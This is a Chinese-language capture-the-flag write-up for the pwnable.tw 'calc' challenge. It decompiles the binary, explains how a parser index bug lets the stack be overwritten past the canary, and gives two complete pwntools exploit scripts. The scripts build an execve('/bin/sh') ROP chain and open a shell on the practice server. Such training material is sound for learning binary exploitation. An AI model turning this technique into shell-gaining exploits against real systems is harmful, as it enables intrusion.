pwnable.tw calc
0x10 题目分析
calc: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=26cd6e85abb708b115d4526bcce2ea6db8a80c64, not stripped
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
calc函数:
unsigned int calc()
{
int v1; // [esp+18h] [ebp-5A0h]
int v2[100]; // [esp+1Ch] [ebp-59Ch]
char s; // [esp+1ACh] [ebp-40Ch]
unsigned int v4; // [esp+5ACh] [ebp-Ch]
v4 = __readgsdword(0x14u);
while ( 1 )
{
bzero(&s, 0x400u);
if ( !get_expr(&s, 1024) ) //获取运算表达式
break;
init_pool(&v1); //清空结果集合
if ( parse_expr(&s, &v1) ) //获取运算结果
{
printf((const char *)&unk_80BF804, v2[v1 - 1]); //打印结果unk_80BF804=%d
fflush(stdout);
}
}
return __readgsdword(0x14u) ^ v4;
}
Get_expr函数:获取运算符号:
int __cdecl get_expr(int a1, int a2)
{
int v2; // eax
char v4; // [esp+1Bh] [ebp-Dh]
int v5; // [esp+1Ch] [ebp-Ch]
v5 = 0;
while ( v5 < a2 && read(0, &v4, 1) != -1 && v4 != '\n' )
{
if ( v4 == '+' || v4 == '-' || v4 == '*' || v4 == '/' || v4 == '%' || v4 > '/' && v4 <= '9' )
{
v2 = v5++;
*(_BYTE *)(a1 + v2) = v4;
}
}
*(_BYTE *)(v5 + a1) = 0;
return v5;
}
init_pool函数
_DWORD *__cdecl init_pool(_DWORD *a1)
{
_DWORD *result; // eax
signed int i; // [esp+Ch] [ebp-4h]
result = a1;
*a1 = 0;
for ( i = 0; i <= 99; ++i )
{
result = a1;
a1[i + 1] = 0;
}
return result;
}
Parse_exp:
signed int __cdecl parse_expr(int a1, _DWORD *a2)
{
int v2; // ST2C_4
int v4; // eax
int v5; // [esp+20h] [ebp-88h]
int i; // [esp+24h] [ebp-84h]
int v7; // [esp+28h] [ebp-80h]
char *s1; // [esp+30h] [ebp-78h]
int v9; // [esp+34h] [ebp-74h]
char s[100]; // [esp+38h] [ebp-70h]
unsigned int v11; // [esp+9Ch] [ebp-Ch]
v11 = __readgsdword(0x14u);
v5 = a1;
v7 = 0;
bzero(s, 0x64u);
for ( i = 0; ; ++i )
{
if ( (unsigned int)(*(char *)(i + a1) - 48) > 9 )
{
v2 = i + a1 - v5;
s1 = (char *)malloc(v2 + 1);
memcpy(s1, v5, v2);
s1[v2] = 0;
if ( !strcmp(s1, "0") )
{
puts("prevent division by zero");
fflush(stdout);
return 0;
}
v9 = atoi(s1);
if ( v9 > 0 )
{
v4 = (*a2)++;
a2[v4 + 1] = v9;
}
if ( *(_BYTE *)(i + a1) && (unsigned int)(*(char *)(i + 1 + a1) - 48) > 9 )
{
puts("expression error!");
fflush(stdout);
return 0;
}
v5 = i + 1 + a1;
if ( s[v7] )
{
switch ( *(char *)(i + a1) )
{
case '%':
case '*':
case '/':
if ( s[v7] != '+' && s[v7] != '-' )
{
eval(a2, s[v7]);
s[v7] = *(_BYTE *)(i + a1);
}
else
{
s[++v7] = *(_BYTE *)(i + a1);
}
break;
case '+':
case '-':
eval(a2, s[v7]);
s[v7] = *(_BYTE *)(i + a1);
break;
default:
eval(a2, s[v7--]);
break;
}
}
else
{
s[v7] = *(_BYTE *)(i + a1);
}
if ( !*(_BYTE *)(i + a1) )
break;
}
}
while ( v7 >= 0 )
eval(a2, s[v7--]);
return 1;
}
Eval 函数:
_DWORD *__cdecl eval(_DWORD *a1, char a2)
{
_DWORD *result; // eax
if ( a2 == '+' )
{
a1[*a1 - 1] += a1[*a1];
}
else if ( a2 > '+' )
{
if ( a2 == '-' )
{
a1[*a1 - 1] -= a1[*a1];
}
else if ( a2 == '/' )
{
a1[*a1 - 1] /= a1[*a1];
}
}
else if ( a2 == '*' )
{
a1[*a1 - 1] *= a1[*a1];
}
result = a1;
--*a1;
return result;
}
当我们输入表达式:100+200
时
程序流程是这样的:表达式初始化进入Parse_exp
中,会先进入分支结构中判断运算先后顺序,然后进入eval函数,此时表达式被放在s[v7]为操作符号,result为操作数,当碰到运算符号时被传入eval函数做为参数:
此时执行
initpool[] = {2,100,200}
s[v7] = operator = {"+"}
initpool[initpool[0]-1]=initpool[initpool[0]-1]+initpool[initpool[0]] = 300
initpool[] = {2,300,100}
Initpool-=1 ---->initpool[0] = initpool[0] -1 = 1
最终输出initpool[1+initpool[0]-1]=initpool[initpool[0]]
但当我们传入表达式+100
时:
由于initpool = {1,100}
initpool[initpool[0]-1] += initpool[initpool[0]-1]+initpool[initpool[0]] = 101
initpool[0] = 101
initpool[0] = initpool[0] -1 = 100
最终输出initpool[initpool[0]] = initpool[100]
0x20 思路
程序开了Canary,不存在堆溢出,且为静态编译,我们只能想办法来泄漏Canary或者绕过Canary来写一些东西,而本程序没有溢出点,因此我们只能通过程序逻辑的问题绕过Canary直接修改返回地址
在本程序中,我们的栈结构是这样的:
a1------->ebp-0x5a0
.
.
.
.
canary
ebp-8
ebp-4
ebp
ret
在32位程序中一个字节4位,因此retaddr 在a1[0x5a0/4+1]的位置,也就是a1[361]的位置,通过修改这个地址的值来完成ROP
Getshell方法一:
布置syscall,调用execve
execve(/bin/sh,0,0)
eax 0xb
ebx /bin/sh
ecx 0
edx 0
int 80
因此我们要寻找gadget来控制这些:
pop eax, ret
pop ebx
pop ecx
pop edx
/bin/sh
int 80
0x0805c34b : pop eax ; ret
0x080701d0 : pop edx ; pop ecx ; pop ebx ; ret
0x08049a21 : int 0x80
Payload 布置 由于没有/bin/sh我们只能控制他写入栈,然后泄漏一个栈地址来做
0 pop eax, ret
1 0xb
2 pop3 ret
3 0
4 0
5 sh_addr
6 int 80
7 /bin
8 /sh\x00
我们可以泄漏ebp的地方做为我们存放binsh字符串的地址,由于我们的参数,出栈,因此最后ebp的位置刚好为我们的参数地址,我们可以使用+360来泄漏这个地址,或者我们可以找一个bss段上的地址进行写入,因为程序没开启PIE,bss的地址是固定的
方法二:将__stack_prot
改成0x7
,接着构造ROP链,使其执行_dl_make_stack_executable<__libc_stack_end>
(注意这里的__libc_stack_end
在eax内),就能关闭NX
保护,然后我们就利用jmp esp
或者call esp
劫持eip到栈上从而getshell
0x30 final exp
远端环境不稳定要多打几次
#/usr/bin/env python
#-*-coding:utf-8-*-
from pwn import *
proc="./calc"
context.update(arch = 'x86', os = 'linux', timeout = 1)
elf=ELF(proc)
def change(addr,i):
sh.sendline("+"+str(361+i))
retaddr = int(sh.recvline())
if addr-retaddr > 0:
sh.sendline("+"+str(361+i)+"+"+str(addr-retaddr))
retaddr = int(sh.recvline())
else:
sh.sendline("+"+str(361+i)+str(addr-retaddr))
retaddr = int(sh.recvline())
def pwn(ip,port,debug):
global sh
if debug==1:
context.log_level="debug"
sh=process(proc)
else:
sh=remote(ip,port)
pop_eax = 0x0805c34b
pop3_ret = 0x080701d0
int80 = 0x08049a21
bin_sh = u32('/bin')
bin_sh2 = u32('/sh\0')
sh.sendlineafter("=== Welcome to SECPROG calculator ===\n","+360")
mebp = int(sh.recvline()) & 0xffffffff
log.info("stack:"+hex(mebp))
change(pop_eax,0)
change(0xb,1)
change(pop3_ret,2)
change(0,3)
change(0,4)
sh.sendline("+"+str(361+5))
retaddr = int(sh.recvline())
sh.sendline("+"+str(361+5)+"-"+str(retaddr)+"-"+str(0x100000000-mebp))
retaddr = int(sh.recvline())
log.info("addr:"+hex(retaddr))
change(int80,6)
change(bin_sh,7)
change(bin_sh2,8)
gdb.attach(sh,"b *0x8049433")
sh.interactive()
if __name__ =="__main__":
pwn("chall.pwnable.tw",10100,1)
"""
0x0805c34b : pop eax ; ret
0x080701d0 : pop edx ; pop ecx ; pop ebx ; ret
0x08049a21 : int 0x80
"""
远端:
#/usr/bin/env python
#-*-coding:utf-8-*-
from pwn import *
import time
proc="./calc"
context.update(arch = 'i386', os = 'linux')
elf=ELF(proc)
context.log_level="debug"
def change(addr,i):
sh.sendline("+"+str(361+i))
retaddr = int(sh.recvline())
if addr-retaddr > 0:
sh.sendline("+"+str(361+i)+"+"+str(addr-retaddr))
retaddr = int(sh.recvline())
else:
sh.sendline("+"+str(361+i)+str(addr-retaddr))
retaddr = int(sh.recvline())
def pwn(ip,port,debug):
global sh
if debug==1:
context.log_level="debug"
sh=process(proc)
else:
sh=remote(ip,port)
pop_eax = 0x0805c34b
pop3_ret = 0x080701d0
int80 = 0x08049a21
bin_sh = u32('/bin')
bin_sh2 = u32('/sh\0')
sh.sendlineafter("=== Welcome to SECPROG calculator ===\n","+360")
mebp = int(sh.recvline()) & 0xffffffff
log.info("stack:"+hex(mebp))
change(pop_eax,0)
change(0xb,1)
change(pop3_ret,2)
change(0,3)
change(0,4)
sh.sendline("+"+str(361+5))
retaddr = int(sh.recvline())
sh.sendline("+"+str(361+5)+"-"+str(retaddr)+"-"+str(0x100000000-mebp))
retaddr = int(sh.recvline())
log.info("addr:"+hex(retaddr))
change(int80,6)
change(bin_sh,7)
change(bin_sh2,8)
sh.interactive()
if __name__ =="__main__":
pwn("chall.pwnable.tw",10100,0)